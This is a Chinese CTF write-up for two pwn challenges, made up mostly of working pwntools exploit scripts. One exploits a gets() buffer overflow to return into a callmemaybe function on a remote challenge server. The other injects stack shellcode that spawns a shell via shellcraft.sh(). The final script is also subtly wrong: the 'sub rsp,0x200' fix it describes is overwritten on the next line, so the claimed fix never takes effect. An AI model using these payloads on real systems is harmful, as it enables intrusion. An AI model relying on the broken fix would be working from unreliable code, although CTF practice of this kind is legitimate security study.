首先是第一题vuln是一道签到题

看了发现gets函数可以溢出
然后在看看有什么可用的函数发现了一个callmemaybe的函数跳到那个函数就可以了
可以看见溢出跳到这个函数就可以了,具体的溢出点的寻找可以利用gdb-peda里的pattern create 数量
然后输入后pattern offset 地址就可以找到溢出点的偏移量了。
from pwn import *
#p=process('./vuln.dms')
p = remote('139.59.30.165',8700)
#gdb.attach(p,"b main")
payload = 'a'* 40 + p64(0x400766)
p.recvuntil('>>>')
p.sendline(payload)
p.interactive()
第二题是pwn的第四题:She Sells Sea Shells
这道题思路也很简单先看看main函数
可以发现这里又是一个简单的gets的溢出,查了一下保护发现没有开任何保护,然后可以看见printf帮我们打印出了v4的地址而v4的地址刚好是我们输入的在栈上的地址,所以我们可以构造ret2shell
首先放上我第一次写的脚本其中有个坑
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
p = process('./bof.dms')
shellcode = shellcraft.sh()
shellcode = asm(shellcode)
address = p.recv()
gdb.attach(p)
payload = shellcode.ljust(72,'a')+p64(int(address[60:],16))
p.sendline(payload)
p.interactive()
这个脚本在运行的时候会发现shellcode执行的时候会停住,其实是因为有push而rip在栈上所以可能会出现一些栈不够用的情况于是我们就吧栈指针放的大一点加一句话shellcode = ‘sub rsp ,0x200\n’
这样就可以了
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
p = process('./bof.dms')
shellcode = 'sub rsp,0x200\n'
shellcode = shellcraft.sh()
shellcode = asm(shellcode)
address = p.recv()
print address[60:]
gdb.attach(p)
payload = shellcode.ljust(72,'a')+p64(int(address[60:],16))
p.sendline(payload)
p.interactive()